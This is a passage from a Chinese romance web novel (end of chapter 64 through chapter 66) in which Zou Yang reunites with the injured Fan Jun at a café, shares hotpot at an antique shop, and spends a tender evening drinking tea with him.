这是邹飏第一次看到小白还有不听话的时候。 没等他想好要怎么安抚小白激动的情绪,小白已经扑到了他身后,就像是要抱住他一样,八九十斤的狗就那么往他身上一扑。 邹飏这一瞬间也没法摆出什么应对姿势,被它推得撞在了樊均身上,他下意识地也推了樊均一把想要稳住。 樊均身后就是躺椅,腿都没法后撤支撑,被他这一推直接就往后倒了下去,伸手抓了邹飏胳膊一下像是想要借力,但最后大概是怕他身上伤还没好透,于是没使劲,哐一下躺回了椅子上。 “小白!”他指着小白,“疯了吗!定!” 小白还是哼唧着,激动地在邹飏背上又拍又抱,在他衣服上疯狂舔着。 邹飏半扛着它,不太敢动,只能一手撑着躺椅扶手,一手背到身后,在小白背上拍着:“好小白,好小白。” 但说实话,安抚得稍微有些敷衍。 他一直在看樊均。 樊均瘦了很多,有些憔悴,脸上又多了一条疤。 看上去比以前更不好惹。 左手应该还没有恢复好,刚在窗外看到他用的哑铃只有1.5公斤……所以手抓了他胳膊一下又放开了,是因为使不上劲…… 邹飏忍不住皱了皱眉。 “白!定!小飏哥哥生气了!”樊均又喊了一声。 小白听到生气两个字时猛地顿了一下,立刻从邹飏背上离开了,退了两步端正地坐好了,只是还在哼唧。 “没,我没生气,我就是……”邹飏赶紧解释。 “怎么了这是?”何川愣在门口,一脸惊恐地从被小白撕破了的帘子中间看着。 邹飏直起身,回过头。 “哎?”何川突然一指他,“哎!邹飏!是邹飏吧!” “嗯。”邹飏笑了笑。 “你怎么跑来了?”何川快步走了过来,“你是跟他一块儿伤的吧?你好了吗?” “好了。”邹飏点点头,过去揉了揉小白的脑袋,摸了摸它的眼睛,小白的右眼已经看不出太明显的伤疤,现在看着像一只wink狗。 “我说这狗怎么了呢!”何川笑着,“是不是挺久没见着你了。” “半年了。”邹飏说这句话的时候突然很感慨。 从他跟樊均认识到现在,快一年了,他们居然大半时间都在分别。 “我请个假。”樊均起身。 “行,”何川说,“我今天都在店里。” 邹飏走出店门外,看着从他面前经过的行人。 进店之前他还没有这样的感觉,就是现在,他突然发现,所有的人似乎都很开心,都在笑。 一个跑过他面前的小孩儿冲他扯着嘴角做了个鬼脸。 要搁平时他多一眼都不会看,只会觉得烦,这会儿居然抬手也扯了扯嘴角,还了一个鬼脸。 “走吧,”樊均走了出来,在他后面说了一句,“找个地方……坐坐。” “嗯,”邹飏下了台阶,“去哪儿?” “有个……”樊均往街那头指了指,“挺好的咖啡馆。” “好。”邹飏点点头。 今天的阳光很好。 去喝个咖啡。 坐一坐。 之前没有来得及品味的情绪就在这一瞬间变得强烈起来。 他见到樊均了,他们站在一起,肩并肩,走路时微微一晃,肩就能撞到樊均的肩…… 就像以前一样,但又不完全一样了。 樊均已经不在南舟坪。 他们要去的也不是一个包子店。 身边也不是凌乱的街景。 说不清是什么感觉。 新奇得让人有些忍不住要微微颤抖。 沉默地往前走了一段,邹飏想说点儿什么,转头看了樊均一眼。 樊均很快也转过脸看着他。 “是……”邹飏被他这一眼看得有点儿没防备,顿时忘了自己要说什么,只好胡乱在脑子里捡了一句,“去哪儿?” 樊均看着他,眼神里隐约闪过一丝疑惑:“一个咖啡馆,我刚……没说吗?” “说了,”邹飏赶紧点头,“阳光挺好的咖啡馆。” “我说……的吗?”樊均再次疑惑了。 “……我说的,”邹飏忍不住笑了起来,“靠。” “那个咖啡馆是宠物友好,所以……”樊均说着晃了晃左手,一根牵引绳,“我怕留它在店里它会闹,太久没看见你了。” 邹飏这会儿才猛地发现小白贴在樊均左腿边,正歪头看着他,咧嘴笑着。 “乖小白!”邹飏立马绕到樊均左边,边走边摸着它的脑袋,低头看着它的眼睛,“它眼睛现在影响生活吗?” 樊均没说话。 “樊均。”邹飏抬头又叫了他一声。 “嗯?”樊均转过脸。 “它眼睛影响生活吗?”邹飏问。 “还行,不怎么影响。”樊均笑了笑。 邹飏没说话,只是看着他。 这会儿身边没什么人,这条街也不像旁边那些商贸街那样满街都是音乐,相对还算是安静的,但樊均听他说话时,偏头幅度比以前要更大些。 樊均的左耳的听力似乎…… “还是听不见……没事儿,”樊均把牵引绳递给他,“你牵它吧。” “嗯。”邹飏接过牵引绳,带着小白走回了樊均右边。 咖啡馆在这条街尽头,跟另一条风格完全不同的商贸街相接的位置。 樊均带着他上了三楼,在外面的玻璃平台上找了个角落的桌子坐下了。 “你总来吗?”邹飏往外看了看,能看到下面的街景,还有连续的青瓦屋顶,还挺有味道。 “来过一次,”樊均扫了码,“你喝什么?” “有推荐的吗?”邹飏靠着椅子看着他。 “我……就喝过拿铁。”樊均说。 “那我就喝拿铁吧。”邹飏还是看着他。 “不怎么好喝。”樊均说。 “没所谓。”邹飏说。 阳光稍微有些偏着洒下来,樊均没有戴帽子,能清楚地看到他的脸,鼻梁,眼角,嘴唇。 还是熟悉的样子,但又带了一丢丢陌生。 分不清是因为时间,还是变化。 但邹飏暂时不想去分辨。 服务员送来了咖啡,还给了小白一杯奶油。 邹飏喝了一口,的确不怎么好喝,像掺了水,但也的确没所谓。 这几个月里,一开始他想得很多,慢慢就没有了那么多想法,只剩了煎熬和等待,甚至没有再想过如果重逢,也没有想过要怎么重逢,更没有想过重逢会是怎样的感觉。 但真的见到这个人,身处同一个空间,同一个时间,就会知道,这是无论多么丰富的想象力都体会不到的滋味。 “你是不是去找过吕泽了?”樊均看着他。 “嗯,”邹飏笑笑,“你怎么知道的?” “觉得你不会去问吕叔。”樊均低头看了一眼咖啡,又抬眼看着他,视线从脸上慢慢扫到了他脖子上。 “吕泽嘴挺严的,我在新新馆待了一整天他才告诉我的。”邹飏说。 樊均没有说话,视线又慢慢移到了他手腕上。 邹飏也跟着看了一眼自己手腕,手链下面,深红色的一圈疤痕,脖子上也差不多,摘了围巾就能看到,稍微淡点儿。 “医生说慢慢就会淡了的。”他说。 “嗯。”樊均松开咖啡杯,手慢慢伸了过来,指尖在他手腕上轻轻点了一下,“别的伤都好透了吗?” 这若有若无的轻轻一点,像是带着特效,邹飏只觉得眼前所有的东西都跟着这一秒的心跳微微一晃。 “这都多久了,还没好透我不得废了啊。”他笑着说。 说完就再一次后悔了。 樊均明显就还没有好透,耳朵,左臂…… “你那个……”他赶紧转移了一下话题,“枪伤……” “好了,”樊均说,“下个月去把剩下的碎片取出来就没事儿了。” 这也还是没好。 “现在什么样?”邹飏问。 “就是……”樊均被他这句问得有点儿不知道该怎么回答,下意识地扯了一下自己领口,“你要看?” 邹飏一眼过去先看到了他的锁骨,顿时感觉自己脑袋要烧起来了,熊熊的。 “不是,我不是那个意思,”他赶紧摆摆手,“就问问……是什么样。” “一个不怎么圆的半圆形。”樊均说着还用手指比了一下大小。 邹飏盯着他看了一会儿,笑了起来。 樊均身上,有些东西是变了的,能感觉得到,某些方面,似乎更自如了,但有些东西还是老样子。 那种熟悉感扑面而来的瞬间,他眼眶滚烫。 笑着就哭了。 都没来及低头掩饰一下。 樊均没说话,抽了张巾,往前探了探身体,胳膊撑着桌子,把纸巾轻轻按在了他眼睛上。 邹飏没接纸巾,只是微微停顿之后就用力把眼睛按在了樊均手上。 樊均没有动,就那么抬着手。 眼泪很快就浸透了纸巾,缓缓渗入樊均的指缝之间,炽热的阳光晒得整个人都是暖烘烘的,但他还是能感觉得到邹飏的眼泪很烫。 余光里能看到其他几桌的人时不时会往这边看两眼,服务员也从里间走出来看了看,但都没所谓。 没有人能知道这一刻邹飏是什么样的心情。 只有他,是最接近这一刻感受的人。 过了好一会儿,邹飏才抬起了头,从旁边抽了两张纸巾,在脸上胡乱擦了擦。 樊均收回手,看着他。 “没事儿,”邹飏叹了口气,眼睛鼻尖都是红的,“就这样,控制不住。” “嗯。”樊均应了一声。 邹飏拿起杯子喝了一口咖啡:“要不……” “换一杯吗?”樊均问。 “嗯,”邹飏皱了皱眉,“这拿铁真的不好喝。” “好,”樊均拿过手机,递到他面前,“你看看想喝什么?” “我想吃那个火焰冰淇淋。”邹飏说。 “好。”樊均点头。 火焰冰淇淋很快也端了过来,放在了桌上。 一个雪山形状的白色冰淇淋,上面淋了红色和黄色的不知道什么果酱。 邹飏看了一眼就愣了。 “不对吗?”樊均凑近了小声问。 “它难道不应该是……”邹飏也凑近,“有火的吗?” “我不知道,没吃过,”樊均看着冰淇淋,“那个果酱是不是代表火?” “红黄色在我这儿就代表西红柿炒鸡蛋。”邹飏说。 “那这个是西红柿炒鸡蛋盖饭,”樊均说,“要换吗?这个我吃,你再换一个。” “不用了,”邹飏舀了一勺尝了尝,“味道还可以,酸甜酸甜的。” “那就是西红柿炒鸡蛋啊。”樊均说。 邹飏没说话,又吃了两口才笑了起来:“靠。” 樊均看着他,这个距离,这个声音,这个笑容。 阳光下带着些许梦幻的感觉,就像无数次想起邹飏时那样,只是现在多了几分难以置信的真实。 “你在何川那个店,”邹飏边吃边问了一句,“干了多久了?” “三个月了吧。”樊均说。 “帮他卖货吗?”邹飏问。 “司机,保镖,店员。”樊均说。 邹飏抬眼看着他:“多少钱一个月啊?” “五千,”樊均说,“出差什么的另外算,出差的话,钱就多些,不出差的话也挺清闲。” “哦。”邹飏琢磨着。 “挺好的,他也算是帮我忙了,”樊均说,“毕竟我现在这个情况……别的工作也做不了。” “嗯。”邹飏吃了一口冰淇淋。 “大黑还在你家吗?”樊均轻声问。 “在,”邹飏点点头,“你是不是还没见着它?” “嗯。”樊均笑了笑,“不过吕泽给我看照片了,你开学了养不了可以……拿给我。” “你住哪儿?”邹飏问。 “店里二楼,”樊均说,“空间还挺大的。” “何川让你养吗?又是猫又是狗的。”邹飏把冰淇淋推到他面前,“尝一口吗?” 樊均舀了一勺放进嘴里,邹飏跟他离得很近,说话时他甚至能感觉到两人之间的空气在轻轻震动。 冰淇淋什么味儿他都没尝出来。 “他没所谓,大黑胆小,不拆家,都没什么存在感。” 邹飏没说话,只是看着他。 “你怎么样?”樊均问。 “什么?”邹飏像是走神了。 “你……怎么样,最近。”樊均拿着勺,又舀了一勺准备认真再尝尝这冰淇淋什么味儿,三十六块钱,就吃出个冰味儿太亏了。 “就那样,”邹飏说,“很想你。” 樊均手抖了一下,一勺冰淇淋糊到了鼻尖上。 第65章 不是故意的。 邹飏看着樊均鼻尖上的那坨冰淇淋,有点儿心慌,也有点儿心虚,更多的是忐忑。 不是故意的。 但也并非完全无意。 毕竟脑子里重复想过无数次,才会有这样的脱口而出。 而也只有在面对樊均时,他才会这样不设防地“口无遮拦”。 樊均看着他愣了一会儿,拿起纸巾往鼻尖上擦了擦,低头重新舀了一勺冰淇淋。 “其实……我就是……”邹飏知道樊均面对的生活要比他复杂太多,很多话不像他那么能轻易地脱口而出。 “嗯。”樊均应了一声。 邹飏有些语无伦次:“你知道就行,你……” “我也是的。”樊均说。 邹飏猛地停下了。 樊均的声音很低,他有一瞬间怀疑自己是不是幻听了。 “什么?”他忍不住又脱口而出问了一句,想要确定。 “我也是的。”樊均看着他。 邹飏没有再出声,低头拿起冰淇淋的盘子,直接咬了一大口。 脑子里嗡嗡响着,他甚至感觉自己开始有些耳鸣。 旁边什么时候站了个人他都没发现。 听到樊均说话时他才猛地回过神。 “它叫小白。”樊均说。 邹飏转过头,看到旁边站着个大学生模样的男生,正摸着小白的脑袋。 “是这样的,”男生指了指跟他们隔了几张桌的位置,“那个是我女朋友,她特别喜欢杜宾,想问问,能不能跟小白拍几张照片?就在这里拍,不走远。” 那边桌旁坐着的一个女生冲他们招了招手,有些不好意思地笑着。 “……可以,”樊均把牵引绳交给了男生,“牵过去吧。” 又拍拍小白的头:“白,听话。” 小白往那个男生的手上闻了闻,又用爪子搭了他手一下。 “谢谢啊,”男生很高兴地牵着小白,“小白,来。” 男生把小白带了过去,女生的确很喜欢小白,也没急着拍照,蹲那儿开始摸小白,从耳朵到尾巴,来回摸着。 男生拿个手机在边儿上录着视频,带着微笑。 挺甜蜜。 邹飏今天心情很好,看到这样的场景时,没有想煮了他俩下酒。 他拿出手机,点开了相机,回手举高,看着镜头里的自己和樊均:“笑一下。” 樊均往前凑了凑,冲着镜头笑了笑。 虽然桌上的咖啡和冰淇淋都已经不怎么美观了,但他俩笑得都很好。 邹飏看了看照,又靠在椅子上对着樊均拍了几张。 “发我。”樊均说。 “晚点儿,我修了的。”邹飏说。 “这么讲究,不是随手拍么。”樊均笑笑。 “随手拍,不随手发,”邹飏说,“不过你照片很好修的。” “我是要……刚我们俩那张。”樊均说。 “知道。”邹飏笑了笑。 在咖啡馆坐了不知道多长时间,总之阳光开始淡了的时候,邹飏才懒洋洋地伸了个懒腰:“请我吃饭。” “刚何川说,他买了菜,你想在店里吃吗?”樊均看了一眼手机,“不愿意的话我就跟他……” “可以,”邹飏马上说,“火锅吗?” “嗯,”樊均点点头,“辣的行吗?他和他妹妹爱吃川锅,做得还挺好的。” “没问题。”邹飏说,“他还有个妹妹啊?” “是,他俩一直一块儿开店。”樊均给何川回了消息。 邹飏其实还挺愿意在店里吃的。 这条街,这个店,是樊均过去几个月生活的地方,未来不知道多长时间里,他还会继续生活在这里。 这里对于邹飏来说,已经跟别的地方不一样。 是有樊均气息和痕迹的地方。 “商贸城这一大片你都熟了吧?”他跟着樊均顺着街慢慢往回走,时不时会凑到某一个店的橱窗边看看。 挺多有意思的东西,大多是手工艺品。 也有几家看着跟何川的店有些相似的,卖些老物件,不过从价格上能看得出,大多是仿的。 “靠近这条街的还行,”樊均说,“别的街也没太去过,太大了,走一圈儿挺累的。” “你跑步都五公里起步,顺着街跑……”邹飏停了停,转头看着他,“你现在还跑步吗?” “跑,”樊均笑着说,“那也不能在商贸街上跑啊,以为我偷东西了逃呢。” “那上哪儿跑?”邹飏问。 “绕着外面兜圈儿,”樊均说,“基本一圈儿就差不多了。” 回到何川的店,邹飏拿出手机拍了一张店外面的照片。 川与陆。 这个店名很直白,何川他妹妹估计就叫何陆。 “怎么样,我这个店。”何川走了出来,“吃完饭让樊均带你看看,有什么喜欢的送你一个。” “真的吗?”邹飏问。 “便宜的。”何川马上补充说明。 “那个贵吗?”邹飏指了指那个长得像大黑的小石兽。 “那个行,那是个变形的狮子,”何川说,“送你了。” “谢谢何老板。”邹飏说。 “客气客气,快进来吃饭,都好了。”何川进了店里。 “你为什么想要那个?”樊均问,“是不是觉得它长得像大黑。” “嗯,嗯?”邹飏转头看着他,“你也觉得吗?” “是,说不上哪儿像,但就感觉像。”樊均笑笑。 “以后看到像小白的,再问他要一个。”邹飏说。 “……不能买一个吗?”樊均说。 “不能,要公平。”邹飏进了门。 何川的妹妹果然叫何陆,比何川话少,看上去也比何川强壮,感觉出门收东西碰上事儿比何川安全。 现在还在过年,刚过晚饭的点,街上就没人了,不少店直接关了门,还有些就像何川他们这样,几个朋友在店里吃火锅。 挺热闹的,玻璃上蒙着的雾气有些朦胧,屋里的人和声音却很真实。 一顿饭基本都是何川在说,邹飏起个头,他就顺着一路说下去。 樊均工作的事儿,直接问樊均,他估计不太愿意说,就算愿意说,也肯定不像何川说得这么……精彩。 “你别看他手现在抓东西还没什么劲儿,”何川指着樊均,“但人家有技术,手抓不住是吧,直接胳膊肘一勾你脖子……” 何川一胳膊肘勾住了何陆的脖子,手指往她眼睛上指着:“就这么,戳眼睛!” “你死啊。”何陆很无语。 “大过年的。”何川说。 “那大过年的你好好活着。”何陆说。 “戳眼睛?”邹飏转头看樊均。 “没,夸张了,”樊均说,“就指了一下。” 邹飏思考了一会儿,当着何川的面儿邹飏没好再多问。 但吃完饭樊均带着他在店里参观的时候,他凑到樊均耳边小声问:“你这活儿是不是有点儿危险?” “就这一次碰上了。”樊均笑笑。 “跑一趟给多少补贴啊?”邹飏问。 “不一定,两三千,”樊均说,“差不多一个月也就跑一趟,多的时候两趟。” 邹飏没说话,他没上过班,更没上过这样的班,不知道行情。 不过这店也许挺合适樊均,虽然看上去满眼喧嚣,各种木雕石刻瓶瓶罐罐小盒子小摆件,但身处这些带着时间伤痕的物件当中,又会感觉很安静。 “去后院看看吗?”樊均看了一眼一直跟在腿边的小白,“参观一下小白的新家。” “好。”邹飏点头。 “白,带小飏哥哥去你家。”樊均说。 小白立马凑过来用鼻子碰了一个邹飏的手,示意他跟着走。 后院挺大的,搭了个阳光棚,一半看上去是何川的工作室,还有一半放着个包着旧棉服的木头小房子,垫着很厚的毛绒垫子,门口居然放着一块雕花小石板,旁边还放着一块带孔的石砖,老房子彻在墙砖里的那种。 “那是个拴马石?”邹飏问。 “嗯,拴狗石。”樊均说。 小白踩着石板进了小房子里,又从里面踩着石板出来,仿佛在示范,带着几分得意。 “你牛逼了啊白。”邹飏摸了摸小白的头。 “你……”樊均犹豫着开口,“要去二楼看看吗?” “你住二楼是吗?”邹飏问。 “嗯。”樊均点点头,“也不全是我住,也放了一部分货。” “看看。”邹飏说。 二楼面积比一楼小,从很窄很陡的一条楼梯上去,一条小过道把二楼隔成了两个空间,一半堆了不少货和纸箱,另一半做了木隔档。 樊均推开小门,邹飏往里扫了一眼,熟悉的感觉扑面而来。 虽然家具大部分都不是之前樊均屋里的那些,但依旧是樊均的风格,一眼就能看出来这是樊均的小屋。 因为没有了客厅,进屋就能看到一个狗窝形状的床,又厚又软。 二楼层高不够,所以樊均也没弄椅子,几个扔在地上的垫子就是椅子了,临街的窗边还有个懒人沙发。 “很舒服啊,”邹飏往沙发上一倒,摊开胳膊,看着窗外的月亮,“住这儿他不收你房租吧?” “不收。”樊均在他旁边蹲下,“喝茶吗?” “喝,”邹飏想了想,“去偷点儿何老板那个冰岛,我看他架子上有。” “这房子不隔音,”樊均笑了起来,“楼下能听到。” “我靠,不是吧?”邹飏吓了一跳。 “是,”楼下传来了何川的声音,“喝冰岛是吧?下来拿吧!还有点儿年货,茶点什么的……樊均!我们回家了啊。” “我去拿。”樊均说。 “嗯。”邹飏笑笑。 听着樊均下楼的声音,邹飏闭了闭眼睛。 这样靠坐着伸长腿的舒适感觉,让他有一瞬间回到了楼顶的那个小屋里。 跳过充满鲜血和恐惧的记忆,樊刚来的前一夜。 耳边似乎还能听到心跳。 他轻轻舒出一口气。 虽然混杂着各种滋味,但至少现在他知道,他的记忆不会只停在在那一夜了。 明天他就可以回忆今天晚上的峨眉月。 他拿出手机,仰头对着窗口,拍了一张照片。 樊均拎着个木头提篮进了屋。 邹飏看了一眼就笑了:“怎么这么……可爱。” “都何老板收来没卖掉的东西。”樊均从旁边拖过来一张小矮桌,把提篮里的东西都拿了出来,茶具,茶叶,点心,摆了一桌子。 烧水的时候,他跟邹飏并排坐下,开始撬茶饼。 邹飏安静偏过头看着他。 樊均的左手之前有些变形,现在基本看不出来了,但明显活动受限,抓拿也不太灵活,按着茶饼的时候两次都滑开了。 “细点儿的活做着费劲。”樊均说。 “嗯。”邹飏应了一声。 “还好不是等着我做饭。”樊均笑笑。 邹飏本来想说要不我来,但犹豫着还是没有开口,这应该是樊均最不愿意听到的话。 他不知道要怎么才能缓解自己看到樊均吃力地做着这些日常生活中最常见的动作时的心疼。 手伸过去的时候,完全是没有经过大脑的。 大脑反正一到关键时刻就不散黄,不如不用,指望不上。 他的手这会儿比脑子坚定得多,越过面前的茶杯,越过盖碗,越过茶饼…… 到达樊均左手上方时,樊均的动作停下了,转头看着他。 他握住了樊均的左手。 “嗯?”樊均的声音就在耳边,带着跟他的手此时此刻同频的微微颤抖。 声音很低,略微带着的沙哑的颗粒,在这微微的颤抖里四散开来,跟着呼吸从邹飏耳边扫过。 邹飏没敢转头,只盯着自己的手。 “握一下,”他低声说,“我的手。” 樊均没说话,反手握住了他手。 “用点劲儿。”邹飏说。 樊均的手指收紧,手腕内侧挑起的筋因为用力而轻轻跳动。 “最用劲儿了。”樊均说。 “嗯。”邹飏应了一声,也握紧了樊均的手。 两个人都没有再说话,邹飏不知道自己在干什么,想要干什么,更没有多余的脑子去思考樊均在想什么。 他就那么紧紧地握着樊均的手。 樊均手上的训练痕迹消失了大半,比以前细腻了不少,刚洗完茶具,手上还带着温热的湿润。 水开了,热气从壶嘴喷出,很快弥漫在四周,空气中带着温润的暧昧。 樊均轻轻动了动,身体往他这边倾了过来。 邹飏能感觉到被灯光染成暖金色的蒸汽中藏着的樊均的呼吸,还能感觉到樊均前额的头发扫过他的眼角,微凉的鼻尖蹭过耳际…… 他不敢动,连思考都不敢。 任何一点儿变化,他都怕会惊扰了眼下这一秒。 樊均的唇落在了他颈侧。 吻在他颈侧,那条从跳动着的脉搏上穿过的淡红色伤痕上。 先是轻轻一触,短暂地离开之后又重新落回,压实。 邹飏一直觉得那些疤痕是没有什么感觉的,但这一秒,他清楚地感觉到了樊均的唇,柔软的,温热的,小心地,坚定地,落下。 时间有些凝固了。 只亮着一盏暖黄色竹灯的房间里,静得月光洒进来时都仿佛带着声响。 一直到烧水壶的壶嘴里开始有跳动着的水花,樊均的唇才从他颈侧离开,很低地说了一句:“这壶不会自动停。” “嗯,”邹飏缓缓回过神,应了一声,“看出来了。” 樊均伸手过去关掉了烧水壶的开关。 愣了几秒,之后开始泡茶。 温杯,投茶,洗茶…… 樊均的动作不算熟练,但看得入神了莫名带着些催眠效果,他回手把盖碗的盖子递到邹飏面前时,邹飏有些迷瞪:“用这个喝吗?” “闻一下。”樊均说。 邹飏回过神,赶紧吸了一口气:“香。” 樊均笑了笑,把盖子放了回去,把泡好的茶放到了他面前:“喝吧。” “嗯。”邹飏拿起杯子,小嘬了一口。 茶很香,而且莫名带着远超水温的热气,一小口下去,他感觉自己脸都热了起来,人也有些发晕。 喝完这杯茶,他放下杯子往后一倒,轻轻舒出一口气:“我是不是晕茶了啊?” 第66章 “可能……茶气吧?”樊均不知道该怎么回答。 他的唇上还残留着邹飏颈侧皮肤的温度,还能感知到脉搏在那条疤痕下轻轻跳动着的触感,呼吸间隐约还有邹飏身上的气息。 “可能吧。”邹飏闭了闭眼睛,低声说。 樊均从旁边床上扯过一条小毛毯搭在了邹飏腿上。 店里二楼以前就是仓库,樊均住这儿以后何川才装了台空调。不过天儿冷以后开了空调也谈不上暖和,所以樊均还铺了电热毯。 但今天晚上二楼格外暖和,有烧水壶的热气,有茶气,有邹飏。 他偶尔会在一楼跟何川一块儿喝茶,像这样在二楼窗边靠着沙发,在小桌上泡茶喝茶吃点心,还是第一次。 他泡茶并不熟练,毕竟平时他都只是看何川泡,流程都知道,做起来就不是那么回事儿了,左手还不太帮得上忙。 加上还有些说不清的尴尬……不,说得清,加上还有些心知肚明的尴尬。 总之就是弄了一桌子水,得不停地拿茶巾擦。 还烫了手。 虽然因为手指有点儿麻,被烫到时感觉不明显。 “我来泡吧,”邹飏看了半天,终于开口,“你手上是不是还有些地方没什么感觉?” 樊均看了一眼自己的手,指尖烫红了,他吹了吹手指:“嗯。” “那现在还是去医院做复健吗?”邹飏拿过盖碗,开始泡茶。 动作很熟练,也很漂亮,应该是从小对着他爸演戏练出来的。 “嗯,每周三次,平时每天也按医生给的计划自己练,”樊均活动了一下手指,“现在……好多了。” 邹飏看着他的手,没有说话。 “珊姐说你三月要考试?”樊均换了个话题。 “教资,”邹飏说,“我们宿舍四个人一块儿。” “以后要当老师吗?”樊均看着他,有点儿没法想象邹飏站讲台上是什么样子。 但邹飏很聪明,以后无论做什么,都一定会很有前途。 “也不一定,能考就考了,”邹飏笑笑,“我妈倒是一直觉得在学校比较有保障。” 虽然不知道多有保障,但再怎么样肯定比他强。 樊均以前每天都祈祷吕泽别折腾好好干,武馆别倒闭,现在他又每天都希望二位何老板别成天想着制香炒茶玩,买卖能好好干,这个店别倒闭…… 也许别人不会有他这么大压力,但他是真的没有什么退路。 以前年纪小些还能靠吕叔,现在24了,有些人研究生都毕业了…… “你每周能休息几天?”邹飏给他倒了一杯茶。 “一天,”樊均说,“时间不一定,哪天没什么人就哪天休。” “嗯,”邹飏想了想,“这周休了吗?” “没有,”樊均顿了顿,偏过头看着他,“你……” “明天我要去看我爸,”邹飏喝了口茶,“你要休息的话,陪我过去吧。” “好。”樊均点头,想想又笑了笑,“这次受伤,你爸是不是得给……” “我跟他闹崩了。”邹飏说。 樊均愣住了:“……为什么?” “不想忍了,”邹飏捏着杯子,一下下转着,“他连装都不愿意装一下,我妈帮我请的那个护工大叔就干了几天,后来碰到我还会问问情况呢……” “那现在他还给钱吗?”樊均问。 “离婚协议上有的他都得给,”邹飏往后靠回去,伸了个懒腰,“多的不会给了,现在也不装慈父了。” “嗯,”樊均笑笑,“明天还砸车吗?” 邹飏笑着看了他一眼:“你还砸出乐趣来了啊?” “就问问。”樊均喝了口茶。 “就去要个钱,要完就走,”邹飏枕着胳膊,“你不用在外面等,跟我一块儿去他家。” “嗯?”樊均有些意外地看着他。 “怎么。”邹飏也看着他。 “他是不是会跟你动手啊?”樊均问。 “想什么呢,”邹飏笑了,“他不敢,没你在他也打不过我,我就是……一丁点儿都不想装了,他都拿你戳我妈了,我还管那么多呢。” “他……知道?”樊均问得有些艰难,他和邹飏还一直没有碰过个话题。 “嗯,他一开始是来了一趟的,大概……”邹飏说着皱了皱眉,没再说下去。 樊均也没再问,只是拿过手机,给何川发了个消息,告诉他自己明天要休息。 【以前的川】刚开市人多啊,几个店我跑不过来 【樊】我下周不休息 【以前的川】半天 【樊】一天 【以前的川】是不是要跟邹飏出去啊? 樊均看着这行字,突然有种回到当初,面对吕叔疑问的时候。 【樊】嗯 何川过了一会儿才回了一句。 【以前的川】行吧,但是有条件,下周你跑一趟,那天我跟你说的那个李老板那儿 【樊】好 李老板是个老物件儿贩子,他的货很抢手,每次收到货都会先通知何川去看。 他那儿倒是不会有什么危险,但这次他俩大过年刚跑了一趟,何川不愿意再出门。 之前他让樊均过去,樊均不太愿意,李老板那人不太好说话,何川不去,他在李老板眼里就是个跟班儿,派个跟班儿去,李老板肯定不会给他好脸。 但这会儿也只能答应下来,去就去吧,生意也不是自己的,抢不到货何川自己哭去吧。 跟何川说完,他抬眼看了看邹飏。 发现邹飏好像睡着了,整个人完全放松地躺在沙发里,仰着头闭着眼睛。 樊均看了一眼时间,刚过十一点,可能是因为喝了点儿酒…… 他没有动,也没再出声,轻手轻脚地把邹飏腿边的桌子端开了,也靠在旁边的垫子上。 他睡不着,本来就不太睡得着,更何况现在。 他本来以为,重新见面的时候,他会有很多想说的,有很多想问的,但真的这一刻到来的时候,他才觉得其实在表面上,邹飏的生活一切如常。 他如常地上学,如常地复习,如常地备考。 而一切如常之下的那些情绪,是不会有人知道的,邹飏不会说,也很难描述。 只有坐在邹飏身边时,他才能感知到。 他一直看着邹飏,听着他的呼吸,邹飏的睡相还是跟以前一样,一开始看着挺规矩,过一阵儿腿就不知道要往哪儿搭了。 他笑了笑,慢慢蹭到竹灯旁边,把灯光拧到了最暗。 在回床上睡觉和继续挨在邹飏身边坐着之间,他犹豫了三秒,然后慢慢又蹭回了懒人沙发旁边。 但没坐下,而是撑着地板,看着邹飏的脸。 犹豫着要不要把他的眼镜摘下来。 等了一会儿,感觉邹飏的确不像是打个瞌睡而是睡着了,他小心地凑过去,伸手捏住了眼镜腿儿。 还没等他摘,邹飏的呼吸突然有些急,跟着就猛地睁开了眼睛。 樊均吓了一跳,直接一屁股坐回了地上。 邹飏瞪着天花板,似乎还没回过神。 “邹飏?”樊均很轻地叫了他一声。 “嗯,”邹飏转过头,手扶着眼镜调整了一下,视线这才有了焦点,“我是不是喊了?” “没喊,”樊均发现他脸色有些发白,凑近看了看,“做恶梦了?” “……嗯,”邹飏皱了皱眉,摘下眼镜一边揉眼睛一边把眼镜往刚才桌子的位置一扔,“但是梦到什么已经记不清了,就感觉好像……跳楼了。” 樊均把地上的眼镜捡起来放到旁边的桌子上:“跳楼?” “嗯。”邹飏点点头。 “那不是……”樊均犹豫了一下,“我吗?” 邹飏看着他,过了一会儿才突然笑了起来:“操。” “怎么。”樊均问。 “樊均,”邹飏边笑边看着他,冲他竖了竖拇指,“我真服了。” 樊均笑了笑,没说话。 “我感觉我喊来着,以为说梦话了呢,”邹飏舒出一口气,“看来我也不是说梦话的人。” “嗯。”樊均倒了杯温水递给他。 “你知道吗?”邹飏喝了口水,突然问了一句。 “什么?”樊均问。 “我刚进医院还没醒的时候,”邹飏把杯子递回给他,“我到底说什么了?” 樊均愣住了。 “你知道吗?”邹飏看着他,“你应该知道吧?” “嗯,”樊均接过杯子,“你……珊姐没……这个是……她应该不会告诉你……” “我到底说什么了啊?”邹飏问。 “我……”樊均有些不知道该怎么回答,说出来怕邹飏会尴尬死。 “啊?”邹飏撑起身体看着他,“你知道是吧?你肯定知道,吕叔肯定得告诉你。” “啊。”樊均应了一声。 “所以我说什么了?”邹飏问。 “你说……”樊均胡乱往桌上拿了个杯子,“情不知所起,一往而深……” 邹飏愣住了,看着他好半天:“我有病啊?” “没病,你受伤了嘛。”樊均不知道该说什么,举起杯子喝了一口,空的。 “就说这句了吗?”邹飏问。 “还有后面的,”樊均一咬牙,“生者可以死,死可以生……可能是……当时怕珊姐担心你会死……” “你还挺会解释。”邹飏拧着眉,“就这么没前没后的吗?还有别的吗?就突然吟诗一首了?” “吟了不止一首。”樊均也豁出去了。 “我操?”邹飏震惊了,“还有什么?” “愿为西南风,长逝……入君怀……什么的。”樊均说的时候感觉自己要脸红。 “你确定?”邹飏看着他。 “我长这么大,能记得的诗都从你这儿听的,”樊均说,“第一句是……提出西方白帝惊,嗷嗷鬼母秋郊哭……” 邹飏感觉自己脸都有些发烫,昏迷的时候开诗会呢?前后不一定还口出了什么狂言,狂言完了吟诗…… “那我妈是怎么知道说的是你的?”邹飏在一片震惊中找到了重点。 樊均捏着手里的杯子没说话。 “我是不是叫你名字了?”邹飏问。 “……嗯。”樊均应了一声。 “给个痛快,”邹飏说,“别我问一句你蹦一句的,还有什么?” “基本就这些了。”樊均说。 “不基本的呢?”邹飏继续问。 樊均沉默地看着手里的杯子,过了一会儿才说了一句:“听说麻醉没醒的人都会……胡言乱语。” “不基本的呢?”邹飏还是问。 樊均没了声音。 